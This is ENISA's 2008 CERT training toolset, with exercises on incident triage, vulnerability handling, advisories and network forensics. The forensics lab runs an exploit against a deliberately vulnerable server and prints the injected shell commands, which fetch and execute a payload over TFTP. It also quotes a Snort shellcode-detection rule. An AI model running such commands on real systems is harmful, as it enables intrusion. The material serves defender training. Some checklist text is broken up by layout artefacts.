CERT Exercise Toolset

www.enisa.europa.
eu
CERT Exercises
Toolset
December
08
Legal notice
Notice must be taken that this publication represents the views and interpretations of the
authors and editors, unless it is stated otherwise. This publication should not be construed
to be an action of ENISA or the ENISA bodies unless adopted pursuant to the ENISA
Regulation (EC) No 460/2004. This publication does not necessarily represent state-of the-
art and it might be updated from time to time.
Third party sources are quoted as appropriate. ENISA is not responsible for the content of
the external sources including external web sites referenced in this publication.
This publication is intended for educational and information purposes only. Neither ENISA
nor any person acting on its behalf is responsible for the use that might be made of the
information contained in this publication.
All rights reserved. No part of this publication may be reproduced, stored in a retrieval
system or transmitted in any form or by any means, electronic mechanical, photocopying,
recording, or otherwise without the prior written permission of ENISA, or as expressly
permitted by Law or under terms agreed with the appropriate rights organisations. Source
must be acknowledged at all times. Enquiries for reproduction can be sent to the contact
address quoted in this publication.
European Network and information Security Agency (ENISA), 2008
Acknowledgements
ENISA wants to thank all institutions and persons who contributed to this document. A
special Thank You goes to the following contributors:
Anna Felkner, Tomasz Grudzicki, Przemyslaw Jaroszewski, Piotr Kijewski, Miroslaw Maj,
Marcin Mielniczek, Elzbieta Nowicka, Cezary Rzewuski, Krzysztof Silicki, Rafal Tarlowski
from NASK/CERT Polska, who produced the first version of this document as consultants
The countless people who reviewed this document
Table of contents
Exercise 1: Triage and Basic Incident Handling 2
Exercise 2: Incident Handling Procedure Testing 7
Exercise 3: Recruitment of CERT Staff 10
Exercise 4: Developing CERT Infrastructure 14
Exercise 5: Vulnerability Handling 16
Exercise 6: Writing Security Advisories 18
Exercise 7: Network Forensics 21
Exercise 8: Establishing External Contacts 37
Exercise 9: Large-scale Incident Handling 40
Exercise 10: Automation in Incident Handling 44
Exercise 11: Incident Handling in Live Role Playing 46
Exercise 12: Cooperation with Law Enforcement Agencies 47
CERT Exercises Toolset
1
Exercise 1
Triage and Basic Incident Handling
2
EXERCISE TASK
You are an incident response investigator working for Utopia CERT. This team is part of a research
and academic network in Utopia a decent ISP serving universities and high schools. As the oldest
and most recognised IRT in Utopia, your team is quite often approached about all security incidents
happening in your country. You maintain good relationships with other providers and have secure
and effective ways of sharing information with them.
You start your work at 8 am with 9 reports in your mailbox. Read through them and try to
understand what really happened and what are the reporters expectations. How are you going to
handle them? Whom will you contact and what information will you share? For each report, assign
ONE type from your classification scheme and give a priority of high, medium or low, determining
the order in which you would handle the incidents. Make sure you are ready to explain your
decisions and keep in mind that you are the decision-maker here there is no single correct
answer.
Unless instructed otherwise by the trainer, launch the Icedove mail client from the LiveDVD. You will
find the incident reports in the Inbox.
The reports are taken from real life. They were anonymised according to the following rules:
10/8 are networks located in Utopia;
10.187/16 are networks of Utopia NREN; and
.ut is Utopias top-level domain.
WHAT WILL YOU LEARN?
This exercise will give you some practice in triage the initial incident handling phase, covering:
verification of the report (did the incident actually occur?);
interpretation (what actually happened?);
determination of the scope of incident (what are the actual and possible consequences for
your constituency and others?);
classification; and
prioritisation (based on the previous factors).
After finishing the exercise you should understand what to focus on during initial analysis, how
different factors may affect priorities, and how to communicate with reporters as well as third
parties.
The classification scheme used in Utopia CERT
1
:
3
Description / Examples
Unsolicited bulk e-mail, which means that the
recipient has not granted verifiable permission for
the message to be sent and that the message is
sent as part of a larger collection of messages, all
having an identical content.
Discrediting, or discrimination against, somebody
(ie, cyberstalking)
Child pornography, glorification of violence, ...
Software that is intentionally included or inserted
in a system for a harmful purpose. A user
interaction is normally necessary to activate the
code.
Attacks that send requests to a system to discover
weak points. This includes also some kinds of
testing processes to gather information about
hosts, services and accounts. Examples: fingerd,
DNS querying, ICMP, SMTP (EXPN, RCPT, ).
Observing and recording network traffic
(wiretapping).
Gathering information from a human being in a
non-technical way (eg, lies, tricks, bribes, or
threats).
An attempt to compromise a system or to disrupt
any service by exploiting vulnerabilities with a
standardised identifier such as a CVE name (eg,
buffer overflow, backdoors, cross side scripting,
etc).
Multiple login attempts (Guessing or cracking
passwords, brute force).
An attempt using an unknown exploit.
Incident Class
(mandatory
input field)
Abusive
Content
Malicious Code
Information
Gathering
Intrusion
Attempts
Incident Type
(optional but desired
input field)
Spam
Harassment
Child/Sexual/Violence/...
Virus
Worm
Trojan
Spyware
Dialler
Scanning
Sniffing
Social Engineering
Exploiting Known
Vulnerabilities
Login Attempts
New Attack Signature
1
This classification was developed during the eCSIRT.net project on CERT cooperation and common statistics.
More information can be found at:
http://www.ecsirt.net/cec/service/documents/wp4-clearinghouse-policy-v12.html#HEAD6
4
A successful compromise of a system or
application (service). This could have been caused
remotely by a known or a new vulnerability, but
also by an unauthorised local access.
In this kind of an attack, a system is bombarded
with so many packets that the operations are
delayed or the system crashes. Examples of a
remote DoS are SYS-a, PING-flooding or E-mail
bombing (DDoS: TFN, Trinity, etc). However,
availability can also be affected by local actions
(destruction, disruption of power supply, etc).
Besides the local abuse of data and systems,
information security can be endangered by a
successful account or application compromise.
Furthermore, attacks that intercept and access
information during transmission (wiretapping,
spoofing or hijacking) are possible.
Using resources for unauthorised purposes,
including profit-making ventures (eg, the use of
e-mail to participate in illegal chain letters for
profit or pyramid schemes).
Selling or installing copies of unlicensed
commercial software or other copyright protected
materials (Warez).
Type of attacks in which one entity illegitimately
assumes the identity of another in order to benefit
from it.
If the number of incidents in this category
increases, it is an indication that the classification
scheme needs to be revised.
Intrusions
Availability
Information
Security
Fraud
Other
Privileged Account
Compromise
Unprivileged Account
Compromise
Application Compromise
DoS
DDoS
Sabotage
Unauthorised Access to
Information
Unauthorised
Modification of
Information
Unauthorised Use of
Resources
Copyright
Masquerade
All incidents which do
not fit in one of the
given categories should
be put into this class.
Complete the table below to assign an appropriate classification and priority to each of the reports.
The priority should be a number between 1 and 3:
1 top priority
2 normal priority
3 low priority
5
# Report Subject Classification Priority Suggested Actions
1 (from: UKSUtopia
Inspections)
2 Abuse: 10.187.137.4
3 [SpamCop
(http://www.company.ut/)
id:3091085703]
3-4 June Workshops
for Managers
4 [CERTPT #56817]
Unauthorised access
attempt registered
6
5 Incident 10.187.21.203
6 [SpamCop
(http://www.bigoil.ut/cgi-bin/
internet.exe/portal/ep/home.
do?tabId=0)
id:3120641650]----
BIGOIL CO. Search
(Immediate Part-Time
JOB for
7 Incident 10.187.108.39
8 Bank Phish Site [211889]
Please Reply
9 [MBL# 89603] Malware Block
List Alert
7
Exercise 2
Incident Handling Procedure Testing
EXERCISE TASKS
In this exercise you will learn how to build your own incident handling procedure how to
identify the most important players in this procedure, the critical points and the most suitable
means of communication.
You will become familiar with the basic set of activities relating to the incident handling
process.
You will learn the correct sequence of activities during the incident handling process.
You will gain knowledge about the most important parts of the IH procedure, those that have
a critical influence on the successful process which will be provided to you.
You will become familiar with all possible players in the IH process.
You will learn the most effective methods for cooperation between a CSIRT and the key
incident handling players.
Developing incident handling procedure
Using the incident handling procedure objects, form a complete incident handling
procedure. Make the proper sequence of the activities, build relationships between
them, and show the directions of the work flows. Additionally, extend the procedure
with your proposals for activities using the blank objects.
After forming a procedure, identify the activities which require communication with
external parties. For each of them, indicate the recommended means of
communication (eg, a normal e-mail, a phone, an encrypted e-mail, etc).
Analyse your procedure. Point out the critical elements and identify the potential
problems which could appear during execution of a procedure.
Use Appendix 1 for this task.
Task 1
8
Appendix 1
ENISA Toolset 16/1/09 11:53 Page 10
9
Resolving critical problems in incident handling
Please write down the most critical parts of the procedure identified by the groups and
the trainer. Provide your ideas on how to deal with them in order to mitigate the
related risks and propose proactive activities for avoiding such problems.
Task 2
Solution / Recommendation / Ideas Critical Part
10
EXERCISE TASKS
The purpose of this exercise is to improve your ability to optimally recruit staff for the CERT
team. You will learn:
What kind of professional experience and/or qualifications, as well as personal abilities, are
essential to fulfil the main roles and responsibilities of a CERT;
What kinds of questions should be asked during a job interview; and
How to choose the most suitable candidates for the CERT team.
Writing job advertisements for recruiting CERT staff
You will be either a member of the Technicians or Researchers group. The task of
your group is to complete a job advertisement template for positions in either the
Incident Handling Service or the Security Project Development Team respectively
(see Appendix A). Be prepared to present your job advertisement proposal to others.
Task 1
Exercise 3
Recruitment of CERT Staff
Analysing and choosing candidates to be interviewed
Each group will receive a collection of 6 CVs. Analyse all the CVs and try to match
them with the prepared job offers. Write short opinions about all the candidates
(strong and weak points, pros and cons in several aspects). Be prepared to present
your opinions about all candidates and justify your choice.
Task 2
Interviews with chosen candidates
Read the code of conduct developed by TF CERT. Using the CoC, your prepared job
advertisement and the CVs of the chosen candidates, propose up to 20 interview
questions (5 general, 5 technical, 10 others) that you would like to ask the candidates
of your choice. (Use the blank template in Appendix B.)
Be prepared to present your questions to others and explain which of them you find
the most useful. The trainer will also propose a few questions and let you decide which
of them you consider important. Decide on a set of 10 questions to be asked of a
chosen candidate. After a 15 minute break, volunteers from each group will play the
roles of the chosen candidates and the others will start to interview them. Every group
joins all the interview sessions. After each interview, the groups individually discuss
the candidates answers and share opinions.
Task 3
Final selection of the best candidates
After all the interviews, prepare your own opinion about all the candidates and make
your selection (with justifications). Then vote for the candidates.
Task 4
Main tasks:
Handling network security incidents
Operating the CERT early warning and alerting system for a CERT constituency
Writing security advisories
Writing security news
Preparing CERT reports
Essential requirements (technical qualifications, knowledge and personal skills)

Additional assets

We offer

11
Appendix A
Job Advertisement for IT Security Specialist
(Incident Handling Service)
12
Main tasks:
Participation in projects related to the security network
Carrying out research on new methods for the detection and analysis of malicious software
Development of concepts for IT projects to pursue new solutions
Cooperation with software engineers in the implementation of the proposed solutions
Testing developed applications
Writing technical documentation
Development of IT security policies
Essential requirements (technical qualifications, knowledge and personal skills)

Additional assets

We offer

Job Advertisement for IT Security Specialist
(Incident Handling Service)
Candidate 1 Candidate 2
I. General issues:
1.
2.
3.
4.
5.
II. Technical knowledge and qualifications:
1.
2.
3.
4.
5.
III. Personal skills:
1.
2.
3.
4.
5.
IV. Facultative questions:
1.
2.
3.
4.
5.
13
Appendix B
Job Interview Questions Form
EXERCISE TASKS
Although the roles and functions of CERTs vary, there are many common services provided by
different CERTs. The trainer will give you a general introduction to common CSIRT service models. A
suggested model for this exercise is presented at http://www.cert.org/csirts/services.html. You will
create a concept for providing these services. The trainer will act as a mentor, asking leading
questions to help you find your way. An example service Incident Handling Incident Analysis
will be completed at the beginning, with the trainer playing a more important role to give you a
better understanding how you should proceed. Handouts with network diagrams will be provided to
make your task easier.
14
The aim of this exercise is to provide you with an understanding of the software tools and
hardware required by a CERT in order to offer a service.
Incident Handling Incident Analysis
Attached below you will find diagrams showing the infrastructure of a new CERT. This
CERT is expected to provide an incident handling service. Your task is to answer the
questions of the trainer regarding the infrastructure needed to provide the service. Is
the architecture, as presented, sufficient? Do you have ideas on what software will be
required? Any suggestions for improvements?
Task 1
Exercise 4
Developing CERT Infrastructure
Further 3-5 services
Together with the trainer, choose 3-5 services as described in the CERT document.
Modify and expand the existing infrastructure shown in the diagrams below in order to
achieve your desired goal of providing these services. Enumerate the software you
would use.
Task 2
15
ENISA Toolset 16/1/09 11:53 Page 17
16
EXERCISE TASKS
The objective of this exercise is to give you a practical overview of the vulnerability handling
process and how vulnerabilities reported to a CERT team should be handled. You will learn:
What the main responsibilities of a CERT team involved in a vulnerability case are;
How to design a vulnerability disclosure policy suitable for your CERT; and
How to deal with difficult situations that may arise through your role as a coordinator.
Responsibilities of a CERT team in a vulnerability case
You will hear a description of a typical vulnerability case. Your task is to identify the
CERTs main responsibilities and activities in handling the reported vulnerability.
Think about the responsibilities which the CERT has as coordinator towards the
vendor and the reporter of the vulnerability.
Name the actions that CERT has to take to resolve the case.
Keep in mind that the CERT team always acts as an independent coordination centre.
Task 1
Exercise 5
Vulnerability Handling
Vulnerability disclosure
The vulnerability handling process always involves the problem of disclosing
information about the vulnerability. What is your opinion on vulnerability disclosure?
Do you think this information should be kept secret or publicly disclosed? Think about
the advantages and disadvantages of disclosing a vulnerability.
Task 2
Designing a vulnerability disclosure policy
Now you have some ideas as to what responsible vulnerability disclosure should be.
What main aspects should be addressed in a vulnerability disclosure policy? Develop a
general policy for your CERT.
Task 3
Role-playing game: Introducing CERT coordination in a vulnerability case
The trainer will tell you two stories. One will be a true story from the past, based on
the Michael Lynn case: http://en.wikipedia.org/wiki/Michael_Lynn. The second one is
a scenario which will be used in the game.
Task 4
17
The rules of the role-playing game:
The trainer is the game leader.
A game leader has an absolute power to shape, modify and adjust a game scenario; ie:
he can stop an action and introduce new factors and new conditions;
he can rewind an action to change factors or conditions or actions already performed; and
he can accelerate an action to avoid valueless activities.
All students must fit their actions to what the trainer decides.
Students can communicate during a role-playing game only as players, not as students (eg, they
are not allowed to comment on an action, unless the trainer changes it).
A main purpose of the trainer is to achieve the goals of the exercise.
Identification of vulnerability handling phases
During this post role-playing activity, students are given the task of identifying as
many activities and processes as possible. This is achieved by a kind of brain-
storming session with the trainer as the group leader.
Task 5
Coordination of a single and multiple vendor case
During the game in the previous task, you dealt with a single vendor case. It may
happen, however, that a reported vulnerability affects more than one vendor. Think
about the possible complications in a multiple vendor case. The trainer will give you
some tips on the aspects you should consider especially carefully.
Task 6
18
Exercise 6
Writing Security Advisories
EXERCISE TASKS
During this exercise you will learn how to write a good security advisory publication for your
constituency. In particular, you will:
learn how to create your own template for security advisories;
learn how to judge whether an advisory is well written and can be referenced as a source;
gain an understanding of the specifics of your constituency and its influence on the content of
security advisories; and
learn the basics of CVSS.
Identifying key points in an advisory
You will be asked what you think are the key points required in an advisory. List as
many points as you can. The trainer will present a real advisory. What points do you
think were missing?
Task 1
PART 1 KEY POINTS IN AN ADVISORY
The trainer will give you a brief introduction about security advisories. Listen carefully, as you will
have to participate actively.
Example step-by-step advisory comparison
Listen to the trainer as he leads you through a comparison of two different advisories.
Which structure of the advisories did you like better? What were the strengths and
weaknesses of both advisories?
Task 2
Advisory comparison
Perform an analysis on your own, comparing a much larger set of advisories covering
the same topic. This is a DNS vulnerability advisory CVE-2008-1447. Attached
below, you will find a checklist which will aid you. Fill it in with comments. These
comments could include ratings, such as POOR or GOOD, PRESENT or ABSENT, or
more elaborate statements if necessary The trainer can give it to you in the form of a
printout you can use. All the advisories being discussed and compared are on the
CERT Exercises LiveDVD or can be found on the Internet.
Task 3
The advisories are listed below
US-CERT (Technical Cyber Security Alert): http://www.us-cert.gov/cas/techalerts/TA08-190B.html
US-CERT (Vulnerability Note): http://www.kb.cert.org/vuls/id/800113
NVD NIST: http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-1447
SecurityFocus: http://www.securityfocus.com/bid/30131
Secunia: http://secunia.com/advisories/cve_reference/CVE-2008-1447/
Microsoft: http://www.microsoft.com/technet/security/Bulletin/MS08-037.mspx
ISC (BIND): http://www.isc.org/sw/bind/bind-security.php
D
o
c
u
m
e
n
t
U
S
-
C
E
R
T
(
T
C
S
A
)
U
S
-
C
E
R
T
(
V
N
)
N
V
D
N
I
S
T
S
e
c
u
r
i
t
y
F
o
c
u
s
S
e
c
u
n
i
a
M
i
c
r
o
s
o
f
t
I
S
C
P
r
o
b
l
e
m
n
a
m
e
a
n
d
I
D
T
h
r
e
a
t
s
e
v
e
r
i
t
y
a
n
d
i
m
p
a
c
t
A
f
f
e
c
t
e
d
s
y
s
t
e
m
s
D
e
s
c
r
i
p
t
i
o
n
P
o
s
s
i
b
l
e
r
e
m
e
d
i
e
s
(
s
o
l
u
t
i
o
n
s
,
w
o
r
k
a
r
o
u
n
d
s
,
p
a
t
c
h
l
o
c
a
t
i
o
n
s
)
R
e
f
e
r
e
n
c
e
s
R
e
v
i
s
i
o
n
n
o
t
e
s
O
t
h
e
r
f
i
e
l
d
s
:
d
i
g
i
t
a
l
s
i
g
n
a
t
u
r
e
s
,
c
o
n
t
a
c
t
i
n
f
o
r
m
a
t
i
o
n
?
H
o
w
i
n
f
o
r
m
a
t
i
v
e
?
S
t
r
u
c
t
u
r
e
o
f
t
h
e
d
o
c
u
m
e
n
t
s
?
A
d
d
i
t
i
o
n
a
l
c
o
m
m
e
n
t
s
19
D
N
S
C
V
E
-
2
0
0
8
-
1
4
4
7
C
h
e
c
k
l
i
s
t
:
20
CVSS basics and tools
Listen carefully to the introduction to CVSS by the trainer. Click through the available
CVSS calculators you will need to use them for the next tasks.
Task 1
PART 2 CVSS TRAINING
This part of the exercise is devoted to learning the basics of CVSS.
CVSS vectors and metrics of the DNS CVE-2008-1447 vulnerability
Together with the trainer, you will calculate CVSS scores for the DNS CVE-2008-1447
vulnerability.
Task 2
Calculating CVSS scores by yourself
In this task, students will be split into smaller groups. Your group should create a
short description of an organisation and its network. Next, pick a security vulnerability
found in an advisory and calculate its CVSS scores. The trainer may introduce
different variants of this exercise.
Task 3
21
Exercise 7
Network Forensics
EXERCISE TASKS
The network forensics exercise is aimed at introducing you to the post-mortem analysis of pcap
file dumps and Cisco netflow logs. In particular you will:
Learn how worms and botnets infect machines;
Learn about client side attacks and fast flux networks;
Learn what DDoS attacks look like from an ISPs viewpoint; and
Learn about the tools used for analysing these attacks after the fact.
Introductory scenario fake web server vulnerability exploitation step-by-
step
In this scenario, you will be led through a step-by-step explanation of the exploitation
and infection process performed against a server application.
Task 1
The exercise is split into three different parts, each composed of two scenarios (tasks). At the start
of the exercise, you will be given a brief introduction to the field of network forensics. The trainer
will then introduce you to the world of buffer overflows, which will help you analyse the pcap traces.
The exercise list is as follows:
pcap trace analysis server side attack;
pcap trace analysis client side attack;
netflow analysis.
PART 1 PCAP TRACE ANALYSIS SERVER SIDE ATTACK
The exercise is divided into two separate scenarios:
a demonstration performed by the teacher as the introductory scenario; and
network forensics skills training with the logs of a real attack.
This demonstration covers the whole process of the exploitation of a server side service. A specially
prepared vulnerable HTTP server was implemented. The server obeys the rules of the HTTP protocol
when it receives GET requests. However, whenever a POST request is received, a separate thread
will be launched to bind a shell to port 12345. Assuming that the POST request will inject proper
shellcode, this fake exploitation does not differ from a real one from the standpoint of the network.
Shellcode that binds a command shell to 12345 port was obtained from the Metasploit framework
(http://www.metasploit.org).
During the exploitation process, you should use the wireshark network analyser to capture the
traffic. Wireshark will capture all the packets that were received and transmitted on a particular
network interface. The next step in the exercise is a discussion concerning the consequent stages of
the attack as seen through wireshark.
Tools necessary for carrying out this exercise
The following are the tools necessary for conducting this exercise. These tools can be found on the
LiveDVD (usr/share/exercises/07_NF/adds/):
http server;
exploit (/usr/share/exercises/07_NF/adds/exploit);
wireshark;
tftp server; and
tftp client.
Before running the vulnerable HTTP server, make sure that the Apache server has been stopped.
(Remember to restart it again to carry out other exercises later on!):
sudo /etc/init.d/apache2 stop
To run the server type:
sudo /etc/init.d/http_server
The exploits can be found in the exercise directory.
The exercise can be demonstrated using one machine only or on a set of two machines. In the case
of a single machine presentation, the attacking machine will have the same IP address as the
victim. As this situation is unlikely in a real scenario, it is recommended that two machines be used
for this exercise if possible. The two machine scenario is illustrated below:
Both computers should be booted with the Exercise LiveDVD. To configure the interfaces
appropriately, run the scripts provided on the Exercise LiveDVD: interface_victim and
interface_attacker. If the computer has multiple interfaces, provide the name of the one to be
configured as a parameter to the script:
interface_victim eth1
If no parameters are provided, the scripts will configure the first interface.
Further descriptions of the exercise assume that only one machine was used during the exercise,
which means that victims and attackers IP address is 127.0.0.1. In the case of a two-machine
presentation, in all the following commands the attackers address should be replaced with
192.168.0.2 and the victims with 192.168.0.1.
The pcap file attached to this exercise on the LiveDVD (/usr/share/exercises/07_NF/adds/) contains
logs of attacks launched from an IP address which is different from the victims.
22
23
Step-by-step demonstration
Before launching the exploit, a benign request to the HTTP server can be sent. Run wireshark and
start live capture on the loopback interface. Now, run the browser and go to www.example1.com
site. This example site is served locally. To increase the amount of benign requests, perform some
interaction with this simple site.
The exploit will result in the copying of some files from the attacker to the victim machine. Files will
be copied to the home directory of the user who ran the HTTP server. As the HTTP server was run
with root privileges, the files will be copied to the /root/ directory and all actions performed by the
compromised server will use the privileges of the super-user. This example shows why services
should be run with only a minimal set of privileges!
Before running the exploit, check the list of files in the home directory of the root user. In the
console, type: ls ~. Now, run the exploit. There are two options to be given: the victims IP
address and the TFTP server IP address. Both addresses are the same as the local loopback
interface: 127.0.0.1. Change the working directory to the exercises directory and type ./exploit
h127.0.0.1 t127.0.0.1 .
The consecutive actions that the exploit undertakes will be reported to the console:
[*] Connecting to vulnerable HTTP Server...done
[*] Sending buffer overflow data...done
[*] Attempting to connect to shell: 127.0.0.1: 12345...succeeded
[*] Sending commands to compromised server...done
[*] Bye!
The packets which caused this successful exploitation were captured by wireshark and can now be
investigated.
To single out the packets which were sent to the HTTP server, apply the following filter:
24
The first HTTP request was performed by the web browser. The filter allows the tracking of all the
packets that were sent:
Source Destination Protocol Info
127.0.0.1 127.0.0.1 TCP 55177 > www [SYN]
127.0.0.1 127.0.0.1 TCP www > 55177 [SYN, ACK]
127.0.0.1 127.0.0.1 TCP 55177 > www [ACK]
127.0.0.1 127.0.0.1 HTTP GET / HTTP/1.1
127.0.0.1 127.0.0.1 TCP www > 55177 [ACK]
127.0.0.1 127.0.0.1 HTTP Continuation or non-HTTP traffic
127.0.0.1 127.0.0.1 TCP 55177 > www [ACK]
127.0.0.1 127.0.0.1 TCP www > 55177 [FIN, ACK]
127.0.0.1 127.0.0.1 TCP 55177 > www [FIN, ACK]
127.0.0.1 127.0.0.1 TCP www > 55177 [ACK]
127.0.0.1 127.0.0.1 TCP 55178 > www [SYN]
127.0.0.1 127.0.0.1 TCP www > 55178 [SYN, ACK]
127.0.0.1 127.0.0.1 TCP 55178 > www [ACK]
127.0.0.1 127.0.0.1 HTTP GET /favicon.ico HTTP/1.1
127.0.0.1 127.0.0.1 TCP www > 55178 [ACK]
127.0.0.1 127.0.0.1 TCP 55178 > www [ACK]
127.0.0.1 127.0.0.1 TCP www > 55178 [FIN, ACK]
127.0.0.1 127.0.0.1 TCP 55178 > www [FIN, ACK]
127.0.0.1 127.0.0.1 TCP www > 55178 [ACK]
There are two HTTP requests one for the index.html page and one for the favicon.ico file. A
malicious POST request was sent by the exploit:
127.0.0.1 127.0.0.1 TCP 54274 > www [SYN]
127.0.0.1 127.0.0.1 TCP www > 54274 [SYN, ACK]
127.0.0.1 127.0.0.1 TCP 54274 > www [ACK]
127.0.0.1 127.0.0.1 HTTP POST /inventory-check.cgi HTTP/1.1
127.0.0.1 127.0.0.1 TCP www > 54274 [ACK]
127.0.0.1 127.0.0.1 TCP www > 54274 [ACK]
127.0.0.1 127.0.0.1 TCP 54274 > www [FIN, ACK]
127.0.0.1 127.0.0.1 TCP www > 54274 [ACK]
The fourth packet carries the POST request. The request consists of two packets and the body of the
HTTP request carries the actual exploit shellcode, which is to be executed. Shellcode is basically a
long string of bytes of value 90 and then almost 90 bytes of assembler instructions (the first four
bytes of the shellcode is the address which overwrites the function return address). Due to the
execution of the shellcode, port 12345 is opened with the system shell bound to it. This is the end
of interaction with the HTTP server.
As we know that the exploit opens port 12345, the traffic sent to this port can be investigated. To
do this, a proper filter, which will single out all the traffic targeted at or coming from port 12345
should be applied:
To find the names of the files which were downloaded, it is more convenient to apply a filter that
shows only the first packet of each TFTP transmission:
tftp.source_file
Now, list the contents of the roots home directory. The downloaded files, xhttp and exploit, should
be there. One of the commands which was executed launched xhttp. Check if this program is still
running:
ps aux | grep xhttp
The output should show that a process named xhttp is running.
The filter results are as follows:
127.0.0.1 127.0.0.1 TCP 57620 > 12345 [SYN]
127.0.0.1 127.0.0.1 TCP 12345 > 57620 [SYN, ACK]
127.0.0.1 127.0.0.1 TCP 57620 > 12345 [ACK]
127.0.0.1 127.0.0.1 TCP 57620 > 12345 [PSH, ACK]
127.0.0.1 127.0.0.1 TCP 12345 > 57620 [ACK]
127.0.0.1 127.0.0.1 TCP 57620 > 12345 [FIN, ACK]
From the packets payload we can see that, after a TCP connection had been initiated, the following
string of commands was sent to the shell:
cd ~; atftp --get --remote-file exploit2 192.168.0.121;
atftp --get --remote-file hello 192.168.0.121; chmod +x hello; ./hello
We have already discussed the meaning of these commands in the previous paragraphs.
In the next step, the exploit and xhttp files are downloaded onto the victims machine. To see the
TFTP protocol packets, apply the following filter:
tftp
25
The last point in this presentation of the attack is to check whether an intrusion detection system
noticed anything suspicious. The Exercise LiveDVD contains Snort IDS. Alerts are reported in file:
/var/log/snort/alert
To check for the latest alerts, type command:
cat /var/log/snort/alert
You should notice one alert:
[**] [1:1000002:0] SHELLCODE x86 NOOP [**]
[Priority: 0]
06/14-16:35:30.367355 127.0.0.1:36944 -> 127.0.0.1:80
TCP TTL:64 TOS:0x0 ID:51437 IpLen:20 DgmLen:672 DF
***AP**F Seq: 0x2981E148 Ack: 0x6A7EC3DF Win: 0x2E TcpLen: 32
TCP Options (3) => NOP NOP TS: 2107818 2038899
The alert was triggered by the following Snort rule:
alert ip any $SHELLCODE_PORTS -> $HOME_NET any
(msg: SHELLCODE x86 NOOP;
contentL:|90 90 90 90 90 90 90 90 90 90 90 90 90 90|;
depth:128; reference:arachnids,181; classtype:shellcode-detect; sid:648; rev:7;)
This rule alerts whenever a monitored network receives a packet containing at least 14 consecutive
bytes of value 90. The event is triggered due to the fact that such a string is often an indication of a
shellcode occurrence. The rule comes from a standard set of Snort rules.
PART 2 PCAP TRACE ANALYSIS CLIENT SIDE ATTACK
The next two scenarios are intended to be carried out by you with minimal assistance from the
trainer.
26
Dabber scenario
The second scenario of this exercise involves analysing the workings of the Dabber
worm. To perform this exercise, you need to load the Dabber pcap file
(/usr/share/exercises/07_NF/adds/). Analyse this pcap trace using the knowledge
gained in the previous scenario and explain what happened, enumerating the stages
of the attack, what ports were involved in the attack, and how the exploit worked.
Task 2
Drive-by download without fast flux
Using the tools and knowledge acquired in the previous exercises, analyse the pcap
traces found on disk and answer the following questions in detail:
What happened (step-by-step)?
Has the host been infected? If yes, what type of malware is it?
How is the attack being carried out?
What domains and IPs are involved in the attack?
How could we mitigate the attack?
Task 1
Using nfdump/NFSen you can perform the analysis by either utilising the command line interface
(more suitable for bulk processing) or the graphic interface. Examples of using both interfaces are
presented.
Make sure that the Apache server is running. Run nfsen_start script available on your LiveDVD
Desktop. (You can click on it.)
27
PART 3 NETFLOW ANALYSIS
The aim of the netflow scenarios is to familiarise you with the concept of netflow and introduce you
to tools that facilitate flow interpretation. Even though netflow does not allow for the examination of
packet content, it is a useful mechanism for network forensics as it provides a unique view of what
activity was seen at the router level. Netflow can be used to discover and examine DDoS attacks,
worm infections and scanning activity, to verify incident reports and obtain hints as to how a host
was compromised, and to monitor its subsequent behaviour, etc.
At the start of this exercise, the trainer will give you a general introduction to netflow. You will then
get to carry out a step-by-step analysis with the trainer of an example DDoS attack.
Drive-by download with fast flux
Using the tools and knowledge acquired in the previous exercises, analyse the pcap
pcap traces found on disk and answer the following questions in detail:
What happened (step-by-step)?
Has the host been infected? If yes, what type of malware is it?
How is the attack being carried out?
What domains and IPs are involved in the attack?
How could we mitigate the attack?
Task 2
DDoS analysis (step-by-step)
A netflow collector installation is set up with a profile for monitoring a specific IP
space. The student plays the role of an administrator working for an ISP, which has
received a report about a DDoS being carried out against a customer. You are
expected to:
identify when the attack began;
identify what is being attacked;
identify what IPs are involved in carrying out the attack;
identify the way the attack is being carried out;
identify where the attack came from; and
suggest ways of mitigating the attack at the ISP level.
Task 1
Q 1 When did the attack begin?
GUI:
Open the web-browser and go to http://10.20.31.210/nfsen/nfsen.php. For a better view you can go
to the Graphs tab. You can see a huge increase in file size near Feb 24 2007 04:00:
CLI:
Go to the directory /data/nfsen/profiles-data/live/upstream and list netflow files (nfcapd.*); use ls l
(or the more human-readable: ls lh).
You can see that starting from 200702240400 the files are suddenly larger than before (before
about 100-200kb; from 200702240400 more than 10MB). Near 200702241050 the files are getting
smaller, but are still unusually large (about 6MB). From about 200702241605, the size of the files
seems to drop to normal levels.
So, the attack began around 04:00 on 24th February 2007.
Q 2 What is being attacked?
GUI:
In order to identify what is being attacked, it is useful to analyse the details of the graphs and the
TOP N statistics, generated both after and before the attack. Graphs and TOP N statistics generated
before the attack started can be treated as a baseline for comparison with later analysis.
Go to the Details tab (1). Pick Time Window from the list in Select field up (2). On the graph,
select an area (3) that looks like normal activity before the attack started. This is about from
20:00 23 Feb 2007 to 03:50 24 Feb 2007. Look at the statistics (4) for this timeslot. (You should
also use the Sum radio button.) This will tell you that most of the activity was TCP.
28
29
Next, select an area on the graph that looks like the attack (from 04:00 24 Feb 2007 to about 16:05
24 Feb 2007). The statistics say that most of the activity (flows, packets and traffic) was UDP.
Let us find out what is being attacked. Use netflow processing (reducing the time window, which in
this example was on Feb 24 from 04:00 to 09:00, to accelerate this process) to find the top 10
statistics about the destination IP ordered by flows, packets, bytes or bits per second (bps). On the
screen below you can see the statistics generated by the packets.
30
You can also use the stats of the flow records with dstIP aggregated:
195.88.49.121 is probably the attack target.
31
Now you have the potential target of the attack and from the earlier analysis you know that the
attack was performed via UDP traffic. If you have any doubt about UDP traffic, use netflow
processing: top 10 with protocol aggregation and dst host 195.88.49.121 filter. As you can see, the
UDP activity (packets, bytes, and flows) is huge when compared with other protocols.
Next you should indentify what the role of the attacked server is. Change the time window (area in
the graph) to some time before the attack and generate statistics of flow records (ordered by flows)
with the dst host 195.88.49.121 filter.
32
As you can see, almost all traffic to this server was 80/TCP, so this is probably a WWW server. The
goal of the DDoS may be to disable the site.
Conclusion:
The attack was DoS or DDoS performed via UDP traffic and was targeted on a WWW server
(195.88.49.121).
You can perform a similar analysis with the command line interface.
CLI:
In order to identify what is being attacked, it is useful to start with general TOP N traffic statistics
generated both after and before the attack started. TOP N statistics generated before the attack
started can be treated as a baseline for comparison with later statistics.
Go to the /data/nfsen/profiles-data/live/upstream directory.
For example, the following general TOP N queries can be performed:
Before the attack:
nfdump -R nfcapd.200702232000:nfcapd.200702240350 -s
record/flows/bytes/packets/bps
After the attack started (reducing the time window to accelerate this process, which we do in this
example by using nfcapd.200702240400 to nfcapd.200702240900):
